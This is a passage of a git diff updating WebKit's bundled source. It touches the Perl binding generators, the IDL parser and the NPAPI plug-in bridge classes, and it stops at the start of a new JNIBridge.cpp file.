+        return "return toV8(${value}" . ($signature->extendedAttributes->{"ReturnsNew"} ? ", true)" : ")");
     }
 
-    if ($type eq "EventTarget" or $type eq "SVGElementInstance") {
+    if ($type eq "EventTarget") {
         return "return V8DOMWrapper::convertEventTargetToV8Object($value)";
     }
 
-    if ($type eq "Event") {
-        return "return V8DOMWrapper::convertEventToV8Object($value)";
-    }
-
     if ($type eq "EventListener") {
-        return "return V8DOMWrapper::convertEventListenerToV8Object(imp->scriptExecutionContext(), $value)";
+        $implIncludes{"V8AbstractEventListener.h"} = 1;
+        return "return ${value} ? v8::Handle<v8::Value>(static_cast<V8AbstractEventListener*>(${value})->getListenerObject(imp->scriptExecutionContext())) : v8::Handle<v8::Value>(v8::Null())";
     }
 
     if ($type eq "SerializedScriptValue") {
         $implIncludes{"$type.h"} = 1;
-        return "return v8String($value->toString())";
+        return "return $value->deserialize()";
     }
 
-    if ($type eq "DedicatedWorkerContext" or $type eq "WorkerContext" or $type eq "SharedWorkerContext") {
-        $implIncludes{"WorkerContextExecutionProxy.h"} = 1;
-        return "return WorkerContextExecutionProxy::convertWorkerContextToV8Object($value)";
-    }
-
-    if ($type eq "WorkerLocation" or $type eq "WorkerNavigator" or $type eq "NotificationCenter") {
-        $implIncludes{"WorkerContextExecutionProxy.h"} = 1;
-        my $classIndex = uc($type);
+    $implIncludes{"wtf/RefCounted.h"} = 1;
+    $implIncludes{"wtf/RefPtr.h"} = 1;
+    $implIncludes{"wtf/GetPtr.h"} = 1;
 
-        return "return WorkerContextExecutionProxy::convertToV8Object(V8ClassIndex::$classIndex, $value)";
+    if (IsPodType($type)) {
+        $value = GenerateSVGStaticPodTypeWrapper($type, $value) . ".get()";
     }
 
-    else {
-        $implIncludes{"wtf/RefCounted.h"} = 1;
-        $implIncludes{"wtf/RefPtr.h"} = 1;
-        $implIncludes{"wtf/GetPtr.h"} = 1;
-        my $classIndex = uc($type);
-
-        if (IsPodType($type)) {
-            $value = GenerateSVGStaticPodTypeWrapper($type, $value);
-        }
-
-        return "return V8DOMWrapper::convertToV8Object(V8ClassIndex::$classIndex, $value)";
-    }
+    return "return toV8($value)";
 }
 
 sub GenerateSVGStaticPodTypeWrapper {
@@ -2333,6 +2816,15 @@ sub IsSVGListTypeNeedingSpecialHandling
     return 0;
 }
 
+sub GetVisibleInterfaceName
+{
+    my $interfaceName = shift;
+
+    return "DOMException" if $interfaceName eq "DOMCoreException";
+    return "FormData" if $interfaceName eq "DOMFormData";
+    return $interfaceName;
+}
+
 sub DebugPrint
 {
     my $output = shift;
diff --git a/src/3rdparty/webkit/WebCore/bindings/scripts/IDLParser.pm b/src/3rdparty/webkit/WebCore/bindings/scripts/IDLParser.pm
index 4abdb45..7db7747 100644
--- a/src/3rdparty/webkit/WebCore/bindings/scripts/IDLParser.pm
+++ b/src/3rdparty/webkit/WebCore/bindings/scripts/IDLParser.pm
@@ -3,8 +3,6 @@
 #
 # Copyright (C) 2005 Nikolas Zimmermann <wildfox@kde.org>
 # 
-# This file is part of the KDE project
-# 
 # This library is free software; you can redistribute it and/or
 # modify it under the terms of the GNU Library General Public
 # License as published by the Free Software Foundation; either
@@ -16,7 +14,7 @@
 # Library General Public License for more details.
 # 
 # You should have received a copy of the GNU Library General Public License
-# aint with this library; see the file COPYING.LIB.  If not, write to
+# along with this library; see the file COPYING.LIB.  If not, write to
 # the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
 # Boston, MA 02110-1301, USA.
 # 
@@ -66,7 +64,14 @@ sub Parse
     $parentsOnly = shift;
 
     if (!$preprocessor) {
-        $preprocessor = "/usr/bin/gcc -E -P -x c++";
+        require Config;
+        my $gccLocation = "";
+        if (($Config::Config{'osname'}) =~ /solaris/i) {
+            $gccLocation = "/usr/sfw/bin/gcc";
+        } else {
+            $gccLocation = "/usr/bin/gcc";
+        }
+        $preprocessor = $gccLocation . " -E -P -x c++";
     }
 
     if (!$defines) {
@@ -160,6 +165,7 @@ sub parseExtendedAttributes
         # Attributes with no value are set to be true
         $value = 1 unless defined $value;
         $attrs{$name} = $value;
+        die("Invalid extended attribute name: '$name'\n") if $name =~ /\s/;
     }
 
     return \%attrs;
@@ -372,7 +378,9 @@ sub DetermineParseMode
         $mode = MODE_INTERFACE;
     } elsif ($_ =~ /exception/) {
         $mode = MODE_EXCEPTION;
-    } elsif ($_ =~ /alias/) {
+    } elsif ($_ =~ /(\A|\b)alias/) {
+        # The (\A|\b) above is needed so we don't match attributes
+        # whose names contain the substring "alias".
         $mode = MODE_ALIAS;
     }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/scripts/IDLStructure.pm b/src/3rdparty/webkit/WebCore/bindings/scripts/IDLStructure.pm
index 5a59ff1..6224e54 100644
--- a/src/3rdparty/webkit/WebCore/bindings/scripts/IDLStructure.pm
+++ b/src/3rdparty/webkit/WebCore/bindings/scripts/IDLStructure.pm
@@ -3,8 +3,6 @@
 #
 # Copyright (C) 2005 Nikolas Zimmermann <wildfox@kde.org>
 # 
-# This file is part of the KDE project
-# 
 # This library is free software; you can redistribute it and/or
 # modify it under the terms of the GNU Library General Public
 # License as published by the Free Software Foundation; either
@@ -16,7 +14,7 @@
 # Library General Public License for more details.
 # 
 # You should have received a copy of the GNU Library General Public License
-# aint with this library; see the file COPYING.LIB.  If not, write to
+# along with this library; see the file COPYING.LIB.  If not, write to
 # the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
 # Boston, MA 02110-1301, USA.
 # 
diff --git a/src/3rdparty/webkit/WebCore/bindings/scripts/generate-bindings.pl b/src/3rdparty/webkit/WebCore/bindings/scripts/generate-bindings.pl
index c7adeb3..44ed4d3 100755
--- a/src/3rdparty/webkit/WebCore/bindings/scripts/generate-bindings.pl
+++ b/src/3rdparty/webkit/WebCore/bindings/scripts/generate-bindings.pl
@@ -16,7 +16,7 @@
 # Library General Public License for more details.
 # 
 # You should have received a copy of the GNU Library General Public License
-# aint with this library; see the file COPYING.LIB.  If not, write to
+# along with this library; see the file COPYING.LIB.  If not, write to
 # the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
 # Boston, MA 02110-1301, USA.
 # 
@@ -56,7 +56,6 @@ my $idlFile = $ARGV[0];
 die('Must specify input file.') unless defined($idlFile);
 die('Must specify IDL search path.') unless @idlDirectories;
 die('Must specify generator') unless defined($generator);
-die('Must specify input file.') unless defined($idlFile);
 die('Must specify output directory.') unless defined($outputDirectory);
 die('Must specify defines') unless defined($defines);
 
diff --git a/src/3rdparty/webkit/WebCore/bridge/Bridge.h b/src/3rdparty/webkit/WebCore/bridge/Bridge.h
new file mode 100644
index 0000000..50efc64
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/Bridge.h
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2003, 2008, 2009 Apple Inc. All rights reserved.
+ * Copyright 2010, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef Bridge_h
+#define Bridge_h
+
+#include "BridgeJSC.h"
+#include <wtf/Noncopyable.h>
+
+namespace JSC  {
+
+namespace Bindings {
+
+class Method : public Noncopyable {
+public:
+    virtual int numParameters() const = 0;
+
+    virtual ~Method() { }
+};
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bridge/IdentifierRep.h b/src/3rdparty/webkit/WebCore/bridge/IdentifierRep.h
index 8128bf8..99bae0b 100644
--- a/src/3rdparty/webkit/WebCore/bridge/IdentifierRep.h
+++ b/src/3rdparty/webkit/WebCore/bridge/IdentifierRep.h
@@ -28,6 +28,7 @@
 
 #include <wtf/Assertions.h>
 #include <wtf/FastAllocBase.h>
+#include <wtf/StringExtras.h>
 #include <string.h>
 
 namespace WebCore {
@@ -54,7 +55,7 @@ private:
     IdentifierRep(const char* name)
         : m_isString(true)
     {
-        m_value.m_string = strdup(name);
+        m_value.m_string = fastStrDup(name);
     }
     
     ~IdentifierRep()
diff --git a/src/3rdparty/webkit/WebCore/bridge/NP_jsobject.cpp b/src/3rdparty/webkit/WebCore/bridge/NP_jsobject.cpp
index 6a89652..2b1d17f 100644
--- a/src/3rdparty/webkit/WebCore/bridge/NP_jsobject.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/NP_jsobject.cpp
@@ -30,6 +30,7 @@
 #include "NP_jsobject.h"
 
 #include "PlatformString.h"
+#include "PluginView.h"
 #include "StringSourceProvider.h"
 #include "c_utility.h"
 #include "c_instance.h"
@@ -50,6 +51,64 @@ using namespace JSC;
 using namespace JSC::Bindings;
 using namespace WebCore;
 
+class ObjectMap {
+public:
+    NPObject* get(RootObject* rootObject, JSObject* jsObject)
+    {
+        return m_map.get(rootObject).get(jsObject);
+    }
+
+    void add(RootObject* rootObject, JSObject* jsObject, NPObject* npObject)
+    {
+        HashMap<RootObject*, JSToNPObjectMap>::iterator iter = m_map.find(rootObject);
+        if (iter == m_map.end()) {
+            rootObject->addInvalidationCallback(&m_invalidationCallback);
+            iter = m_map.add(rootObject, JSToNPObjectMap()).first;
+        }
+
+        ASSERT(iter->second.find(jsObject) == iter->second.end());
+        iter->second.add(jsObject, npObject);
+    }
+
+    void remove(RootObject* rootObject)
+    {
+        HashMap<RootObject*, JSToNPObjectMap>::iterator iter = m_map.find(rootObject);
+        ASSERT(iter != m_map.end());
+        m_map.remove(iter);
+    }
+
+    void remove(RootObject* rootObject, JSObject* jsObject)
+    {
+        HashMap<RootObject*, JSToNPObjectMap>::iterator iter = m_map.find(rootObject);
+        ASSERT(iter != m_map.end());
+        ASSERT(iter->second.find(jsObject) != iter->second.end());
+
+        iter->second.remove(jsObject);
+    }
+
+private:
+    struct RootObjectInvalidationCallback : public RootObject::InvalidationCallback {
+        virtual void operator()(RootObject*);
+    };
+    RootObjectInvalidationCallback m_invalidationCallback;
+
+    // JSObjects are protected by RootObject.
+    typedef HashMap<JSObject*, NPObject*> JSToNPObjectMap;
+    HashMap<RootObject*, JSToNPObjectMap> m_map;
+};
+
+
+static ObjectMap& objectMap()
+{
+    DEFINE_STATIC_LOCAL(ObjectMap, map, ());
+    return map;
+}
+
+void ObjectMap::RootObjectInvalidationCallback::operator()(RootObject* rootObject)
+{
+    objectMap().remove(rootObject);
+}
+
 static void getListFromVariantArgs(ExecState* exec, const NPVariant* args, unsigned argCount, RootObject* rootObject, MarkedArgumentBuffer& aList)
 {
     for (unsigned i = 0; i < argCount; ++i)
@@ -65,8 +124,10 @@ static void jsDeallocate(NPObject* npObj)
 {
     JavaScriptObject* obj = reinterpret_cast<JavaScriptObject*>(npObj);
 
-    if (obj->rootObject && obj->rootObject->isValid())
+    if (obj->rootObject && obj->rootObject->isValid()) {
+        objectMap().remove(obj->rootObject, obj->imp);
         obj->rootObject->gcUnprotect(obj->imp);
+    }
 
     if (obj->rootObject)
         obj->rootObject->deref();
@@ -82,12 +143,18 @@ static NPClass* NPNoScriptObjectClass = &noScriptClass;
 
 NPObject* _NPN_CreateScriptObject(NPP npp, JSObject* imp, PassRefPtr<RootObject> rootObject)
 {
+    if (NPObject* object = objectMap().get(rootObject.get(), imp))
+        return _NPN_RetainObject(object);
+
     JavaScriptObject* obj = reinterpret_cast<JavaScriptObject*>(_NPN_CreateObject(npp, NPScriptObjectClass));
 
     obj->rootObject = rootObject.releaseRef();
 
-    if (obj->rootObject)
+    if (obj->rootObject) {
         obj->rootObject->gcProtect(imp);
+        objectMap().add(obj->rootObject, imp, reinterpret_cast<NPObject*>(obj));
+    }
+
     obj->imp = imp;
 
     return reinterpret_cast<NPObject*>(obj);
@@ -124,7 +191,7 @@ bool _NPN_InvokeDefault(NPP, NPObject* o, const NPVariant* args, uint32_t argCou
         getListFromVariantArgs(exec, args, argCount, rootObject, argList);
         ProtectedPtr<JSGlobalObject> globalObject = rootObject->globalObject();
         globalObject->globalData()->timeoutChecker.start();
-        JSValue resultV = callInWorld(exec, function, callType, callData, function, argList, pluginWorld());
+        JSValue resultV = JSC::call(exec, function, callType, callData, function, argList);
         globalObject->globalData()->timeoutChecker.stop();
 
         // Convert and return the result of the function call.
@@ -174,7 +241,7 @@ bool _NPN_Invoke(NPP npp, NPObject* o, NPIdentifier methodName, const NPVariant*
         getListFromVariantArgs(exec, args, argCount, rootObject, argList);
         ProtectedPtr<JSGlobalObject> globalObject = rootObject->globalObject();
         globalObject->globalData()->timeoutChecker.start();
-        JSValue resultV = callInWorld(exec, function, callType, callData, obj->imp, argList, pluginWorld());
+        JSValue resultV = JSC::call(exec, function, callType, callData, obj->imp, argList);
         globalObject->globalData()->timeoutChecker.stop();
 
         // Convert and return the result of the function call.
@@ -190,7 +257,7 @@ bool _NPN_Invoke(NPP npp, NPObject* o, NPIdentifier methodName, const NPVariant*
     return true;
 }
 
-bool _NPN_Evaluate(NPP, NPObject* o, NPString* s, NPVariant* variant)
+bool _NPN_Evaluate(NPP instance, NPObject* o, NPString* s, NPVariant* variant)
 {
     if (o->_class == NPScriptObjectClass) {
         JavaScriptObject* obj = reinterpret_cast<JavaScriptObject*>(o); 
@@ -199,12 +266,16 @@ bool _NPN_Evaluate(NPP, NPObject* o, NPString* s, NPVariant* variant)
         if (!rootObject || !rootObject->isValid())
             return false;
 
+        // There is a crash in Flash when evaluating a script that destroys the
+        // PluginView, so we destroy it asynchronously.
+        PluginView::keepAlive(instance);
+
         ExecState* exec = rootObject->globalObject()->globalExec();
         JSLock lock(SilenceAssertionsOnly);
         String scriptString = convertNPStringToUTF16(s);
         ProtectedPtr<JSGlobalObject> globalObject = rootObject->globalObject();
         globalObject->globalData()->timeoutChecker.start();
-        Completion completion = evaluateInWorld(globalObject->globalExec(), globalObject->globalScopeChain(), makeSource(scriptString), JSC::JSValue(), pluginWorld());
+        Completion completion = JSC::evaluate(globalObject->globalExec(), globalObject->globalScopeChain(), makeSource(scriptString), JSC::JSValue());
         globalObject->globalData()->timeoutChecker.stop();
         ComplType type = completion.complType();
         
@@ -379,7 +450,7 @@ bool _NPN_HasMethod(NPP, NPObject* o, NPIdentifier methodName)
 
 void _NPN_SetException(NPObject*, const NPUTF8* message)
 {
-    // Ignorning the NPObject param is consistent with the Mozilla implementation.
+    // Ignoring the NPObject param is consistent with the Mozilla implementation.
     UString exception(message);
     CInstance::setGlobalException(exception);
 }
@@ -444,7 +515,7 @@ bool _NPN_Construct(NPP, NPObject* o, const NPVariant* args, uint32_t argCount,
         getListFromVariantArgs(exec, args, argCount, rootObject, argList);
         ProtectedPtr<JSGlobalObject> globalObject = rootObject->globalObject();
         globalObject->globalData()->timeoutChecker.start();
-        JSValue resultV = constructInWorld(exec, constructor, constructType, constructData, argList, pluginWorld());
+        JSValue resultV = JSC::construct(exec, constructor, constructType, constructData, argList);
         globalObject->globalData()->timeoutChecker.stop();
         
         // Convert and return the result.
diff --git a/src/3rdparty/webkit/WebCore/bridge/c/CRuntimeObject.cpp b/src/3rdparty/webkit/WebCore/bridge/c/CRuntimeObject.cpp
new file mode 100644
index 0000000..47425a2
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/c/CRuntimeObject.cpp
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(NETSCAPE_PLUGIN_API)
+
+#include "CRuntimeObject.h"
+#include "c_instance.h"
+
+namespace JSC {
+namespace Bindings {
+
+const ClassInfo CRuntimeObject::s_info = { "CRuntimeObject", &RuntimeObject::s_info, 0, 0 };
+
+CRuntimeObject::CRuntimeObject(ExecState* exec, PassRefPtr<CInstance> instance)
+    : RuntimeObject(exec, instance)
+{
+}
+
+CRuntimeObject::~CRuntimeObject()
+{
+}
+
+CInstance* CRuntimeObject::getInternalCInstance() const
+{
+    return static_cast<CInstance*>(getInternalInstance());
+}
+
+
+}
+}
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bridge/c/CRuntimeObject.h b/src/3rdparty/webkit/WebCore/bridge/c/CRuntimeObject.h
new file mode 100644
index 0000000..b53387a
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/c/CRuntimeObject.h
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef CRuntimeObject_h
+#define CRuntimeObject_h
+
+#if ENABLE(NETSCAPE_PLUGIN_API)
+
+#include "runtime_object.h"
+
+namespace JSC {
+namespace Bindings {
+
+class CInstance;
+
+class CRuntimeObject : public RuntimeObject {
+public:
+    CRuntimeObject(ExecState*, PassRefPtr<CInstance>);
+    virtual ~CRuntimeObject();
+
+    CInstance* getInternalCInstance() const;
+
+    static const ClassInfo s_info;
+
+private:
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+};
+
+}
+}
+
+#endif
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bridge/c/c_class.h b/src/3rdparty/webkit/WebCore/bridge/c/c_class.h
index 7f20af4..52db2b9 100644
--- a/src/3rdparty/webkit/WebCore/bridge/c/c_class.h
+++ b/src/3rdparty/webkit/WebCore/bridge/c/c_class.h
@@ -28,8 +28,8 @@
 
 #if ENABLE(NETSCAPE_PLUGIN_API)
 
+#include "Bridge.h"
 #include "npruntime_internal.h"
-#include "runtime.h"
 #include <wtf/HashMap.h>
 
 namespace JSC {
diff --git a/src/3rdparty/webkit/WebCore/bridge/c/c_instance.cpp b/src/3rdparty/webkit/WebCore/bridge/c/c_instance.cpp
index 77b5966..2adb322 100644
--- a/src/3rdparty/webkit/WebCore/bridge/c/c_instance.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/c/c_instance.cpp
@@ -29,15 +29,17 @@
 
 #include "c_instance.h"
 
+#include "CRuntimeObject.h"
+#include "IdentifierRep.h"
 #include "c_class.h"
 #include "c_runtime.h"
 #include "c_utility.h"
-#include "IdentifierRep.h"
 #include "npruntime_impl.h"
+#include "runtime_method.h"
 #include "runtime_root.h"
+#include <interpreter/CallFrame.h>
 #include <runtime/ArgList.h>
 #include <runtime/Error.h>
-#include <interpreter/CallFrame.h>
 #include <runtime/JSLock.h>
 #include <runtime/JSNumberCell.h>
 #include <runtime/PropertyNameArray.h>
@@ -89,6 +91,11 @@ CInstance::~CInstance()
     _NPN_ReleaseObject(_object);
 }
 
+RuntimeObject* CInstance::newRuntimeObject(ExecState* exec)
+{
+    return new (exec) CRuntimeObject(exec, this);
+}
+
 Class *CInstance::getClass() const
 {
     if (!_class)
@@ -101,8 +108,33 @@ bool CInstance::supportsInvokeDefaultMethod() const
     return _object->_class->invokeDefault;
 }
 
-JSValue CInstance::invokeMethod(ExecState* exec, const MethodList& methodList, const ArgList& args)
+class CRuntimeMethod : public RuntimeMethod {
+public:
+    CRuntimeMethod(ExecState* exec, const Identifier& name, Bindings::MethodList& list)
+        : RuntimeMethod(exec, name, list)
+    {
+    }
+
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+
+    static const ClassInfo s_info;
+};
+
+const ClassInfo CRuntimeMethod::s_info = { "CRuntimeMethod", &RuntimeMethod::s_info, 0, 0 };
+
+JSValue CInstance::getMethod(ExecState* exec, const Identifier& propertyName)
+{
+    MethodList methodList = getClass()->methodsNamed(propertyName, this);
+    return new (exec) CRuntimeMethod(exec, propertyName, methodList);
+}
+
+JSValue CInstance::invokeMethod(ExecState* exec, RuntimeMethod* runtimeMethod, const ArgList& args)
 {
+    if (!asObject(runtimeMethod)->inherits(&CRuntimeMethod::s_info))
+        return throwError(exec, TypeError, "Attempt to invoke non-plug-in method on plug-in object.");
+
+    const MethodList& methodList = *runtimeMethod->methods();
+
     // Overloading methods are not allowed by NPObjects.  Should only be one
     // name match for a particular method.
     ASSERT(methodList.size() == 1);
@@ -138,7 +170,7 @@ JSValue CInstance::invokeMethod(ExecState* exec, const MethodList& methodList, c
     for (i = 0; i < count; i++)
         _NPN_ReleaseVariantValue(&cArgs[i]);
 
-    JSValue resultValue = convertNPVariantToValue(exec, &resultVariant, _rootObject.get());
+    JSValue resultValue = convertNPVariantToValue(exec, &resultVariant, m_rootObject.get());
     _NPN_ReleaseVariantValue(&resultVariant);
     return resultValue;
 }
@@ -173,7 +205,7 @@ JSValue CInstance::invokeDefaultMethod(ExecState* exec, const ArgList& args)
     for (i = 0; i < count; i++)
         _NPN_ReleaseVariantValue(&cArgs[i]);
 
-    JSValue resultValue = convertNPVariantToValue(exec, &resultVariant, _rootObject.get());
+    JSValue resultValue = convertNPVariantToValue(exec, &resultVariant, m_rootObject.get());
     _NPN_ReleaseVariantValue(&resultVariant);
     return resultValue;
 }
@@ -212,7 +244,7 @@ JSValue CInstance::invokeConstruct(ExecState* exec, const ArgList& args)
     for (i = 0; i < count; i++)
         _NPN_ReleaseVariantValue(&cArgs[i]);
 
-    JSValue resultValue = convertNPVariantToValue(exec, &resultVariant, _rootObject.get());
+    JSValue resultValue = convertNPVariantToValue(exec, &resultVariant, m_rootObject.get());
     _NPN_ReleaseVariantValue(&resultVariant);
     return resultValue;
 }
diff --git a/src/3rdparty/webkit/WebCore/bridge/c/c_instance.h b/src/3rdparty/webkit/WebCore/bridge/c/c_instance.h
index f9e9de3..be4a4cb 100644
--- a/src/3rdparty/webkit/WebCore/bridge/c/c_instance.h
+++ b/src/3rdparty/webkit/WebCore/bridge/c/c_instance.h
@@ -28,9 +28,9 @@
 
 #if ENABLE(NETSCAPE_PLUGIN_API)
 
-#include "runtime.h"
-#include <wtf/PassRefPtr.h>
+#include "Bridge.h"
 #include "runtime_root.h"
+#include <wtf/PassRefPtr.h>
 
 typedef struct NPObject NPObject;
 
@@ -50,6 +50,7 @@ public:
     }
 
     static void setGlobalException(JSC::UString exception);
+    static void moveGlobalExceptionToExecState(ExecState*);
 
     ~CInstance ();
 
@@ -58,7 +59,8 @@ public:
     virtual JSValue valueOf(ExecState*) const;
     virtual JSValue defaultValue(ExecState*, PreferredPrimitiveType) const;
 
-    virtual JSValue invokeMethod(ExecState*, const MethodList&, const ArgList&);
+    virtual JSValue getMethod(ExecState* exec, const Identifier& propertyName);
+    virtual JSValue invokeMethod(ExecState*, RuntimeMethod* method, const ArgList&);
     virtual bool supportsInvokeDefaultMethod() const;
     virtual JSValue invokeDefaultMethod(ExecState*, const ArgList&);
 
@@ -74,9 +76,10 @@ public:
     NPObject *getObject() const { return _object; }
 
 private:
-    static void moveGlobalExceptionToExecState(ExecState* exec);
     CInstance(NPObject*, PassRefPtr<RootObject>);
 
+    virtual RuntimeObject* newRuntimeObject(ExecState*);
+
     mutable CClass *_class;
     NPObject *_object;
 };
diff --git a/src/3rdparty/webkit/WebCore/bridge/c/c_runtime.cpp b/src/3rdparty/webkit/WebCore/bridge/c/c_runtime.cpp
index e9a7bb6..e038cd4 100644
--- a/src/3rdparty/webkit/WebCore/bridge/c/c_runtime.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/c/c_runtime.cpp
@@ -49,6 +49,7 @@ JSValue CField::valueFromInstance(ExecState* exec, const Instance* inst) const
         {
             JSLock::DropAllLocks dropAllLocks(SilenceAssertionsOnly);
             result = obj->_class->getProperty(obj, _fieldIdentifier, &property);
+            CInstance::moveGlobalExceptionToExecState(exec);
         }
         if (result) {
             JSValue result = convertNPVariantToValue(exec, &property, instance->rootObject());
@@ -70,6 +71,7 @@ void CField::setValueToInstance(ExecState *exec, const Instance *inst, JSValue a
         {
             JSLock::DropAllLocks dropAllLocks(SilenceAssertionsOnly);
             obj->_class->setProperty(obj, _fieldIdentifier, &variant);
+            CInstance::moveGlobalExceptionToExecState(exec);
         }
 
         _NPN_ReleaseVariantValue(&variant);
diff --git a/src/3rdparty/webkit/WebCore/bridge/c/c_runtime.h b/src/3rdparty/webkit/WebCore/bridge/c/c_runtime.h
index e797342..5355934 100644
--- a/src/3rdparty/webkit/WebCore/bridge/c/c_runtime.h
+++ b/src/3rdparty/webkit/WebCore/bridge/c/c_runtime.h
@@ -28,8 +28,8 @@
 
 #if ENABLE(NETSCAPE_PLUGIN_API)
 
+#include "Bridge.h"
 #include "npruntime_internal.h"
-#include "runtime.h"
 
 namespace JSC {
 namespace Bindings {
diff --git a/src/3rdparty/webkit/WebCore/bridge/c/c_utility.cpp b/src/3rdparty/webkit/WebCore/bridge/c/c_utility.cpp
index 7ff77e7..04d47c3 100644
--- a/src/3rdparty/webkit/WebCore/bridge/c/c_utility.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/c/c_utility.cpp
@@ -30,6 +30,7 @@
 
 #include "c_utility.h"
 
+#include "CRuntimeObject.h"
 #include "JSDOMWindow.h"
 #include "NP_jsobject.h"
 #include "c_instance.h"
@@ -85,9 +86,9 @@ void convertValueToNPVariant(ExecState* exec, JSValue value, NPVariant* result)
         NULL_TO_NPVARIANT(*result);
     } else if (value.isObject()) {
         JSObject* object = asObject(value);
-        if (object->classInfo() == &RuntimeObjectImp::s_info) {
-            RuntimeObjectImp* imp = static_cast<RuntimeObjectImp*>(object);
-            CInstance* instance = static_cast<CInstance*>(imp->getInternalInstance());
+        if (object->classInfo() == &CRuntimeObject::s_info) {
+            CRuntimeObject* runtimeObject = static_cast<CRuntimeObject*>(object);
+            CInstance* instance = runtimeObject->getInternalCInstance();
             if (instance) {
                 NPObject* obj = instance->getObject();
                 _NPN_RetainObject(obj);
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/JNIBridge.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/JNIBridge.cpp
new file mode 100644
index 0000000..778d4c3
--- /dev/null
